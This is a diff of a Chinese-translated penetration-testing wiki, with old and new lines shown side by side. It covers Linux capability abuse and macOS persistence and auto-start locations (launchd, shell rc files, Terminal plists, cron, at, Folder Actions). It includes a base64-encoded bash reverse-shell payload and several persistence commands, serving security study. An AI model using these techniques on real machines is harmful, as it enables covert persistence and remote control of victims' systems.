**带二进制的示例**
假设 **python 二进制文件** 拥有这些权限
假设 **python 二进制文件** 拥有这些能力
```python
#Dump iptables filter table rules
import iptc
@ -1407,7 +1407,7 @@ iptc.easy.flush_table('filter')
**带有二进制的示例**
如果你发现一个文件是不可变的,并且 python 有这个能力,你可以 **移除不可变属性并使文件可修改:**
如果你发现一个文件是不可变的,并且 python 有这个能力,你可以 **移除不可变属性并使文件可修改:**
```python
#Check that the file is imutable
lsattr file.sh
@ -1431,7 +1431,7 @@ f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
> [!NOTE]
> 注意,通常这个不可变属性是通过以下命令设置和移除的:
> 注意,通常这个不可变属性是通过以下命令设置和移除的:
>
> ```bash
> sudo chattr +i file.txt
@ -1440,7 +1440,7 @@ f.write('New content for the file\n')
## CAP_SYS_CHROOT
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使得可以执行 `chroot(2)` 系统调用,这可能通过已知漏洞允许从 `chroot(2)` 环境中逃逸
[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使得可以执行 `chroot(2)` 系统调用,这可能允许通过已知漏洞逃离 `chroot(2)` 环境
- [如何从各种 chroot 解决方案中突破](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
- [chw00t: chroot 逃逸工具](https://github.com/earthquake/chw00t/)
@ -1451,7 +1451,7 @@ f.write('New content for the file\n')
## CAP_SYSLOG
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 在 Linux 2.6.37 中从更广泛的 **CAP_SYS_ADMIN** 中分离,专门授予使用 `syslog(2)` 调用的能力。此能力使得在 `kptr_restrict` 设置为 1 时,可以通过 `/proc` 和类似接口查看内核地址,该设置控制内核地址的暴露。自 Linux 2.6.39 起,`kptr_restrict` 的默认值为 0这意味着内核地址是暴露的,尽管许多发行版出于安全原因将其设置为 1隐藏地址除非来自 uid 0或 2始终隐藏地址
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 在 Linux 2.6.37 中从更广泛的 **CAP_SYS_ADMIN** 中分离,专门授予使用 `syslog(2)` 调用的能力。此能力使得在 `kptr_restrict` 设置为 1 时,可以通过 `/proc` 和类似接口查看内核地址,该设置控制内核地址的暴露。自 Linux 2.6.39 起,`kptr_restrict` 的默认值为 0这意味着内核地址被暴露,尽管许多发行版将其设置为 1隐藏地址除了 uid 0或 2始终隐藏地址以出于安全原因
此外,**CAP_SYSLOG** 允许在 `dmesg_restrict` 设置为 1 时访问 `dmesg` 输出。尽管这些变化,**CAP_SYS_ADMIN** 仍然保留执行 `syslog` 操作的能力,因其历史原因。
@ -1459,14 +1459,14 @@ f.write('New content for the file\n')
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 扩展了 `mknod` 系统调用的功能不仅限于创建常规文件、FIFO命名管道或 UNIX 域套接字。它特别允许创建特殊文件,包括:
- **S_IFCHR**:字符特殊文件,如终端设备。
- **S_IFBLK**:块特殊文件,如磁盘设备。
- **S_IFCHR**:字符特殊文件,如终端设备。
- **S_IFBLK**:块特殊文件,如磁盘设备。
此能力对于需要创建设备文件的进程至关重要,便于通过字符或块设备直接与硬件交互。
这是一个默认的 docker 能力 ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))。
此能力允许在主机上进行特权升(通过完全磁盘读取),在以下条件下:
此能力允许在主机上进行特权升(通过完全磁盘读取),在以下条件下:
1. 拥有对主机的初始访问(无特权)。
2. 拥有对容器的初始访问特权EUID 0并有效 `CAP_MKNOD`)。
@ -1503,13 +1503,13 @@ head /proc/12345/root/dev/sdb
### CAP_SETPCAP
**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**,允许从有效、可继承和允许的集合中添加或删除能力。然而,进程只能修改其自身允许集中的能力,确保它无法将另一个进程的权限提升到超出自身的水平。最近的内核更新收紧了这些规则,限制 `CAP_SETPCAP` 能减少其自身或其后代的允许集中的能力,旨在降低安全风险。使用此功能需要在有效集内拥有 `CAP_SETPCAP`,并在允许集内拥有目标能力,利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制,突出了其在权限管理和安全增强中的作用。
**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**,允许从有效、可继承和允许的集合中添加或删除能力。然而,进程只能修改其自身允许集中的能力,确保它无法将另一个进程的权限提升到超出自身的水平。最近的内核更新收紧了这些规则,限制 `CAP_SETPCAP` 能减少其自身或其后代的允许集中的能力,旨在降低安全风险。使用此功能需要在有效集中拥有 `CAP_SETPCAP`,并在允许集中拥有目标能力,利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制,突出了其在权限管理和安全增强中的作用。
**`CAP_SETPCAP`** 是一 Linux 能力,允许进程 **修改另一个进程的能力集**。它授予从其他进程的有效、可继承和允许能力集中添加或删除能力的能力。然而,使用此能力有某些限制。
**`CAP_SETPCAP`** 是一 Linux 能力,允许进程 **修改另一个进程的能力集**。它授予从其他进程的有效、可继承和允许能力集中添加或删除能力的能力。然而,使用此能力有某些限制。
`CAP_SETPCAP` 的进程 **只能授予或移除其自身允许能力集中的能力**。换句话说,如果一个进程没有某个能力,它不能将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出自身的权限级别。
`CAP_SETPCAP` 的进程 **只能授予或移除其自身允许能力集中存在的能力**。换句话说,如果一个进程没有某个能力,它不能将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出自身的权限级别。
此外,在最近的内核版本中,`CAP_SETPCAP` 能力已被 **进一步限制**。它不再允许进程任意修改其他进程的能力集。相反,它 **仅允许进程降低其自身允许能力集或其后代的允许能力集中的能力**。这一变化是为了减少与能力相关的潜在安全风险。
此外,在最近的内核版本中,`CAP_SETPCAP` 能力已被 **进一步限制**。它不再允许进程任意修改其他进程的能力集。相反,它 **仅允许进程降低其自身允许能力集或其后代的允许能力集中的能力**。这一变化是为了减少与能力相关的潜在安全风险。
要有效使用 `CAP_SETPCAP`,您需要在有效能力集中拥有该能力,并在允许能力集中拥有目标能力。然后,您可以使用 `capset()` 系统调用来修改其他进程的能力集。

View File

@ -7,7 +7,7 @@
## 沙盒绕过
> [!TIP]
> 在这里您可以找到对 **沙盒绕过** 有用的启动位置,它允许您通过 **写入文件** 并 **等待** 一个非常 **常见****操作**定的 **时间** 或您通常可以在沙盒内执行的 **操作** 来简单地执行某些内容,而无需权限。
> 在这里您可以找到对 **沙盒绕过** 有用的启动位置,它允许您通过 **将其写入文件** 并 **等待** 一个非常 **常见****操作**定的 **时间** 或您通常可以在沙盒内执行的 **操作** 来简单地执行某些内容,而无需 root 权限。
### Launchd
@ -18,32 +18,32 @@
- **`/Library/LaunchAgents`**
- **触发器**: 重启
- 需要根权限
- 需要 root
- **`/Library/LaunchDaemons`**
- **触发器**: 重启
- 需要根权限
- 需要 root
- **`/System/Library/LaunchAgents`**
- **触发器**: 重启
- 需要根权限
- 需要 root
- **`/System/Library/LaunchDaemons`**
- **触发器**: 重启
- 需要根权限
- 需要 root
- **`~/Library/LaunchAgents`**
- **触发器**: 重新登录
- **`~/Library/LaunchDemons`**
- **触发器**: 重新登录
> [!TIP]
> 有趣的是,**`launchd`** 在 Mach-o 部分 `__Text.__config` 中嵌入了一个属性列表,其中包含 launchd 必须启动的其他知名服务。此外,这些服务可以包含 `RequireSuccess``RequireRun``RebootOnSuccess`,这意味着它们必须运行并成功完成。
> 有趣的是,**`launchd`** 在 Mach-o 部分 `__Text.__config` 中嵌入了一个属性列表,其中包含其他知名服务launchd 必须启动。此外,这些服务可以包含 `RequireSuccess``RequireRun``RebootOnSuccess`,这意味着它们必须运行并成功完成。
>
> 当然,由于代码签名,它无法被修改。
#### 描述与利用
**`launchd`** 是 OX S 内核在启动时执行的 **第一个** **进程**,并且在关机时是最后一个完成的进程。它应该始终具有 **PID 1**。该进程将 **读取并执行**以下 **ASEP** **plist** 中指示的配置:
**`launchd`** 是 OX S 内核在启动时执行的 **第一个** **进程**,并且在关机时是最后一个完成的进程。它应该始终具有 **PID 1**。该进程将 **读取并执行****ASEP** **plist** 中指示的配置,位于
- `/Library/LaunchAgents`: 管理员安装的每用户代理
- `/Library/LaunchDaemons`: 管理员安装的系统范围守护进程
- `/Library/LaunchAgents`: 管理员安装的每用户代理
- `/Library/LaunchDaemons`: 管理员安装的系统范围守护进程
- `/System/Library/LaunchAgents`: Apple 提供的每用户代理。
- `/System/Library/LaunchDaemons`: Apple 提供的系统范围守护进程。
@ -72,7 +72,7 @@
</dict>
</plist>
```
在某些情况下,**代理需要在用户登录之前执行**,这些被称为**PreLoginAgents**。例如,这在登录时提供辅助技术是有用的。它们也可以在`/Library/LaunchAgents`中找到(请参见[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)的示例)。
在某些情况下,**代理需要在用户登录之前执行**,这些被称为**PreLoginAgents**。例如,这在登录时提供辅助技术非常有用。它们也可以在`/Library/LaunchAgents`中找到(请参见[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)的示例)。
> [!NOTE]
> 新的守护进程或代理配置文件将在**下次重启后或使用** `launchctl load <target.plist>` **加载**。也可以使用`launchctl -F <file>`加载没有该扩展名的.plist文件但是这些plist文件在重启后不会自动加载。\
@ -85,7 +85,7 @@
launchctl list
```
> [!WARNING]
> 如果一个 plist 文件属于一个用户,即使它在守护进程的系统范围文件夹中,**任务将以用户身份执行**,而不是以 root 身份执行。这可以防止某些特权升级攻击。
> 如果一个 plist 文件属于一个用户,即使它在守护进程的系统范围文件夹中,**任务将以用户身份执行**,而不是以 root 身份执行。这可以防止某些特权升级攻击。
#### 关于 launchd 的更多信息
@ -104,10 +104,10 @@ launchctl list
- `com.apple.postfix.master`: 检查路径 `/etc/postfix/aliases`
- **IOKit 通知守护进程**
- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
- **Mach 端口**
- **Mach 端口**
- `com.apple.xscertd-helper.plist`: 在 `MachServices` 条目中指示名称 `com.apple.xscertd.helper`
- **UserEventAgent**
- 这与前一个不同。它使 launchd 在响应特定事件时生成应用程序。然而,在这种情况下,涉及的主要二进制文件不是 `launchd`,而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限文件夹 /System/Library/UserEventPlugins/ 加载插件,每个插件在 `XPCEventModuleInitializer` 键中指示其初始化程序,或者在旧插件的情况下,在其 `Info.plist``FB86416D-6164-2070-726F-70735C216EC0` 键下的 `CFPluginFactories` 字典中。
- **UserEventAgent**
- 这与之前的不同。它使 launchd 在响应特定事件时生成应用程序。然而,在这种情况下,涉及的主要二进制文件不是 `launchd`,而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限文件夹 /System/Library/UserEventPlugins/ 加载插件,每个插件在 `XPCEventModuleInitializer` 键中指示其初始化程序,或者在旧插件的情况下,在其 `Info.plist` `CFPluginFactories` 字典下的键 `FB86416D-6164-2070-726F-70735C216EC0` 中。
### shell 启动文件
@ -133,8 +133,8 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://thee
- 可能还有更多在: **`man zsh`**
- **`~/.bashrc`**
- **触发**: 打开一个 bash 终端
- `/etc/profile` (未能工作)
- `~/.profile` (未能工作)
- `/etc/profile` (未成功)
- `~/.profile` (未成功)
- `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
- **触发**: 预计在 xterm 中触发,但它 **未安装**,即使安装后也会抛出此错误: xterm: `DISPLAY is not set`
@ -150,17 +150,17 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### 重新打开的应用程序
> [!CAUTION]
> 配置所指示的利用和注销再登录或甚至重启对我执行应用程序没有效果。(应用程序没有被执行,也许在执行这些操作时需要保持运行)
> 配置所指示的利用和注销再登录或甚至重启对我来说无法执行该应用程序。(该应用程序未被执行,可能需要在执行这些操作时保持运行)
**写作**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/)
- 有助于绕过沙: [](https://emojipedia.org/check-mark-button)
- 有助于绕过沙: [](https://emojipedia.org/check-mark-button)
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
- **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
- **触发**: 重启重新打开应用程序
- **触发**: 重启重新打开应用程序
#### 描述与利用
@ -168,9 +168,9 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
因此,要使重新打开的应用程序启动您自己的应用程序,您只需 **将您的应用程序添加到列表中**
UUID 可以通过列出该目录或使用 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` 找到
UUID 可以通过列出该目录或使用 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` 找到
要检查将要重新打开的应用程序,您可以执行:
要检查将要重新打开的应用程序,您可以执行
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
@ -221,9 +221,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
}
[...]
```
因此,如果系统中终端的首选项 plist 可以被覆盖,那么 **`open`** 功能可以用来 **打开终端并执行该命令**
所以如果系统中终端的偏好设置的plist可以被覆盖那么**`open`**功能可以用来**打开终端并执行该命令**
您可以通过 CLI 添加此内容:
您可以通过cli添加此内容:
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
@ -232,22 +232,22 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
```
### Terminal Scripts / 其他文件扩展名
### Terminal Scripts / Other file extensions
- 有助于绕过沙盒: [](https://emojipedia.org/check-mark-button)
- TCC 绕过: [](https://emojipedia.org/check-mark-button)
- 终端使用用户的 FDA 权限
#### 位置
#### Location
- **任何地方**
- **触发**: 打开终端
- **Anywhere**
- **Trigger**: Open Terminal
#### 描述与利用
#### Description & Exploitation
如果你创建一个 [**`.terminal`** 脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) 并打开,**终端应用程序**将自动调用以执行其中指示的命令。如果终端应用程序具有某些特殊权限(例如 TCC你的命令将以这些特殊权限运行。
如果你创建一个 [**`.terminal`** 脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) 并打开,**Terminal application** 将自动调用以执行其中指示的命令。如果 Terminal 应用具有某些特殊权限(例如 TCC你的命令将以这些特殊权限运行。
尝试使用:
Try it with:
```bash
# Prepare the payload
cat > /tmp/test.terminal << EOF
@ -275,7 +275,7 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
您还可以使用扩展名 **`.command`**、**`.tool`**,与常规 shell 脚本内容,它们也会被终端打开。
您还可以使用扩展名 **`.command`**、**`.tool`**,与常规 shell 脚本内容一起使用,它们也会被终端打开。
> [!CAUTION]
> 如果终端具有 **完全磁盘访问权限**,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。
@ -371,42 +371,42 @@ oneTimeSSMigrationComplete = 1;
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
根用户的一个存储在 **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## 条件沙箱绕过
> [!TIP]
> 在这里您可以找到**沙箱绕过** 有用的启动位置,允许您通过 **将其写入文件****期望不太常见的条件**(如特定的 **已安装程序**、"不常见" 用户 **操作** 或环境)来简单地执行某些操作
> 在这里您可以找到有用的启动位置,用于**沙箱绕过**,允许您通过**写入文件**来简单执行某些操作,并**期望不太常见的条件**,例如特定的**已安装程序**、"不常见"的用户**操作或环境**
### Cron
**写作**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/)
- 有助于绕过沙箱: [](https://emojipedia.org/check-mark-button)
- 但是,您需要能够执行 `crontab` 二进制文件
- 或者是根用户
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
- 但是,您需要能够执行`crontab`二进制文件
- 或者是root
- TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
- **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
- 直接写入访问需要根权限。如果您可以执行 `crontab <file>` 则不需要根权限
- **触发**: 取决于 cron 作业
- 直接写入访问需要root。如果您可以执行`crontab <file>`则不需要root
- **触发**: 取决于cron作业
#### 描述与利用
列出 **当前用户** cron 作业:
列出**当前用户**的cron作业
```bash
crontab -l
```
您还可以 **`/usr/lib/cron/tabs/`** 和 **`/var/at/tabs/`** 中查看所有用户的 cron 作业(需要 root 权限)。
您还可以查看 **`/usr/lib/cron/tabs/`** 和 **`/var/at/tabs/`** 中用户的所有 cron 作业(需要 root 权限)。
在 MacOS 中,可以在以下位置找到几个**特定频率** 执行脚本的文件夹:
在 MacOS 中,可以在以下位置找到以 **特定频率** 执行脚本的多个文件夹:
```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
您可以找到常规的 **cron** **作业**、**at** **作业**(不常用)和 **周期性** **作业**(主要用于清理临时文件)。每日周期性作业可以通过以下方式执行:`periodic daily`
您可以在这里找到常规的 **cron** **作业**、**at** **作业**(不常用)和 **周期性** **作业**(主要用于清理临时文件)。每日周期性作业可以通过以下方式执行:`periodic daily`
要以编程方式添加 **用户 cronjob**,可以使用:
```bash
@ -419,7 +419,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g
- 有助于绕过沙盒: [](https://emojipedia.org/check-mark-button)
- TCC 绕过: [](https://emojipedia.org/check-mark-button)
- iTerm2 曾经拥有授予的 TCC 权限
- iTerm2 曾经获得 TCC 权限
#### Locations
@ -462,13 +462,13 @@ EOF
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
iTerm2 的偏好设置位于 **`~/Library/Preferences/com.googlecode.iterm2.plist`** 可以 **指示在打开 iTerm2 终端时执行的命令**
iTerm2 的偏好设置位于 **`~/Library/Preferences/com.googlecode.iterm2.plist`**可以 **指示在打开 iTerm2 终端时执行的命令**
此设置可以在 iTerm2 设置中配置:
<figure><img src="../images/image (37).png" alt="" width="563"><figcaption></figcaption></figure>
命令在偏好设置中反映:
命令在偏好设置中反映出来
```bash
plutil -p com.googlecode.iterm2.plist
{
@ -478,7 +478,7 @@ plutil -p com.googlecode.iterm2.plist
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
```
您可以设置要执行的命令
您可以设置要执行的命令:
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
@ -525,12 +525,12 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
- TCC 绕过: [](https://emojipedia.org/check-mark-button)
- 它请求辅助功能权限
#### 位置
#### Location
- **`~/.hammerspoon/init.lua`**
- **触发**: 一旦执行 hammerspoon
- **Trigger**: 一旦执行 hammerspoon
#### 描述
#### Description
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整的 AppleScript 代码集成和 shell 脚本的执行,显著增强了其脚本能力。
@ -552,7 +552,7 @@ EOF
- `~/Library/Application Support/BetterTouchTool/*`
该工具允许指示在按下某些快捷键时执行的应用程序或脚本。攻击者可能能够在数据库中配置自己的 **快捷键和要执行的操作** 以执行任意代码(快捷键可以只是按下一个键)。
该工具允许指示在按下某些快捷键时执行的应用程序或脚本。攻击者可能能够在数据库中配置自己的**快捷键和要执行的操作**以执行任意代码(快捷键可以只是按下一个键)。
### Alfred
@ -574,7 +574,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g
- 有助于绕过沙盒: [](https://emojipedia.org/check-mark-button)
- 但需要启用并使用 ssh
- TCC 绕过: [](https://emojipedia.org/check-mark-button)
- SSH 需要 FDA 访问
- SSH 使用需要 FDA 访问
#### 位置
@ -585,7 +585,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g
- **触发器**: 通过 ssh 登录
> [!CAUTION]
> 启用 ssh 需要完全磁盘访问权限:
> 启用 ssh 需要完全磁盘访问:
>
> ```bash
> sudo systemsetup -setremotelogin on
@ -593,7 +593,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g
#### 描述与利用
默认情况下,除非在 `/etc/ssh/sshd_config` 中设置 `PermitUserRC no`,当用户 **通过 SSH 登录** 时,脚本 **`/etc/ssh/sshrc`** **`~/.ssh/rc`** 将被执行。
默认情况下,除非在 `/etc/ssh/sshd_config` 中设置 `PermitUserRC no`,当用户**通过 SSH 登录**时,脚本**`/etc/ssh/sshrc`**和**`~/.ssh/rc`**将被执行。
### **登录项**
@ -614,7 +614,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.g
#### 描述
在系统偏好设置 -> 用户与群组 -> **登录项** 中,您可以找到 **用户登录时要执行的项目**。\
在系统偏好设置 -> 用户与群组 -> **登录项**中,您可以找到**用户登录时要执行的项目**。\
可以通过命令行列出、添加和删除它们:
```bash
#List all items:
@ -628,33 +628,33 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
```
这些项目存储在文件 **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
**登录项** 也可以通过使用 API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 来指示,这将把配置存储在 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
**登录项** 也可以通过 API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 指示,该配置将存储在 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
### ZIP 作为登录项
(查看关于登录项的前一部分,这是一个扩展)
如果将 **ZIP** 文件存储为 **登录项**,则 **`Archive Utility`** 将打开它,如果该 zip 例如存储在 **`~/Library`** 中并包含文件夹 **`LaunchAgents/file.plist`** 一个后门则该文件夹将被创建默认情况下并不存在plist 将被添加,因此下次用户再次登录时,**plist 中指示的后门将被执行**。
如果将 **ZIP** 文件存储为 **登录项**,则 **`Archive Utility`** 将打开它,如果该 zip 例如存储在 **`~/Library`** 中并包含文件夹 **`LaunchAgents/file.plist`** 及后门则该文件夹将被创建默认情况下并不存在plist 将被添加,因此下次用户再次登录时,**plist 中指示的后门将被执行**。
另一个选项是在用户 HOME 中创建文件 **`.bash_profile`** 和 **`.zshenv**,这样如果文件夹 LaunchAgents 已经存在,这种技术仍然有效。
另一种选择是在用户 HOME 中创建文件 **`.bash_profile`** 和 **`.zshenv`**,这样如果文件夹 LaunchAgents 已经存在,这种技术仍然有效。
### At
写作 [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/)
写作: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/)
- 有助于绕过沙盒: [](https://emojipedia.org/check-mark-button)
- 但你需要 **执行** **`at`** 并且它必须是 **启用**
- TCC 绕过 [🔴](https://emojipedia.org/large-red-circle)
- 有助于绕过沙箱: [](https://emojipedia.org/check-mark-button)
- 但你需要 **执行** **`at`** 并且它必须是 **启用**
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
- 需要 **执行** **`at`** 并且它必须是 **启用**
- 需要 **执行** **`at`** 并且它必须是 **启用**
#### **描述**
`at` 任务旨在 **调度一次性任务** 在特定时间执行。与 cron 作业不同,`at` 任务在执行后会自动删除。需要注意的是,这些任务在系统重启后是持久的,在某些条件下将其标记为潜在的安全隐患。
默认情况下,它们是 **禁用**,但 **root** 用户可以通过以下方式 **启用** **它们**
默认情况下,它们是 **禁用**,但 **root** 用户可以通过以下方式 **启用** **它们**:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -662,7 +662,7 @@ sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
使用 `atq` 检查作业队列:
检查作业队列使用 `atq:`
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
@ -700,7 +700,7 @@ unset OLDPWD
echo 11 > /tmp/at.txt
```
> [!WARNING]
> 如果 AT 任务未启用,则创建的任务将不会执行。
> 如果 AT 任务未启用,则创建的任务将不会执行。
**作业文件**可以在 `/private/var/at/jobs/` 找到。
```
@ -721,30 +721,30 @@ total 32
### 文件夹操作
写作[https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\
写作[https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
写作: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\
写作: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
- 有助于绕过沙盒[](https://emojipedia.org/check-mark-button)
- 有助于绕过沙盒: [](https://emojipedia.org/check-mark-button)
- 但你需要能够带参数调用 `osascript` 来联系 **`System Events`** 以配置文件夹操作
- TCC 绕过[🟠](https://emojipedia.org/large-orange-circle)
- TCC 绕过: [🟠](https://emojipedia.org/large-orange-circle)
- 它具有一些基本的 TCC 权限,如桌面、文档和下载
#### 位置
- **`/Library/Scripts/Folder Action Scripts`**
- 需要 root 权限
- **触发**访问指定文件夹
- **触发**: 访问指定文件夹
- **`~/Library/Scripts/Folder Action Scripts`**
- **触发**访问指定文件夹
- **触发**: 访问指定文件夹
#### 描述与利用
文件夹操作是由文件夹中的变化自动触发的脚本,例如添加、删除项目或其他操作,如打开或调整文件夹窗口的大小。这些操作可以用于各种任务,并可以通过不同的方式触发,例如使用 Finder 界面或终端命令。
文件夹操作是由文件夹中的变化自动触发的脚本,例如添加、删除项目或其他操作,如打开或调整文件夹窗口的大小。这些操作可以用于各种任务,并可以通过不同的方式触发,例如使用 Finder UI 或终端命令。
要设置文件夹操作,你可以选择:
1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 创建文件夹操作工作流并将其安装为服务。
2. 通过文件夹的上下文菜单手动附加脚本。
2. 通过文件夹的上下文菜单中的文件夹操作设置手动附加脚本。
3. 利用 OSAScript 向 `System Events.app` 发送 Apple Event 消息,以编程方式设置文件夹操作。
- 这种方法特别适合将操作嵌入系统,提供一定程度的持久性。
@ -758,11 +758,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
要使上述脚本可通过文件夹操作使用,请使用以下命令编译它:
要使上述脚本可用于文件夹操作,请使用以下命令编译它:
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
在脚本编译后,通过执行以下脚本设置文件夹操作。此脚本将全局启用文件夹操作,并将之前编译的脚本特定地附加到桌面文件夹。
在脚本编译后,通过执行以下脚本设置文件夹操作。此脚本将全局启用文件夹操作,并将之前编译的脚本特定地附加到桌面文件夹。
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events")
@ -772,7 +772,7 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
```
使用以下命令运行设置脚本:
运行设置脚本:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
@ -792,13 +792,13 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
然后,打开 `Folder Actions Setup` 应用,选择您想要监视的 **文件夹**,并在您的情况下选择 **`folder.scpt`**(在我的情况下我称其为 output2.scp
然后,打开 `Folder Actions Setup` 应用,选择 **您想要监视的文件夹**,并在您的情况下选择 **`folder.scpt`**(在我的情况下,我将其命名为 output2.scp
<figure><img src="../images/image (39).png" alt="" width="297"><figcaption></figcaption></figure>
现在,如果您使用 **Finder** 打开该文件夹,您的脚本将被执行。
此配置存储在 **plist** 中,位于 **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 的 base64 格式。
此配置存储在 **plist** 中,位于 **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 的 base64 格式
现在,让我们尝试在没有 GUI 访问的情况下准备这个持久性:
@ -814,14 +814,14 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
4. 打开 Folder Actions Setup.app 以使用此配置:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
> [!CAUTION]
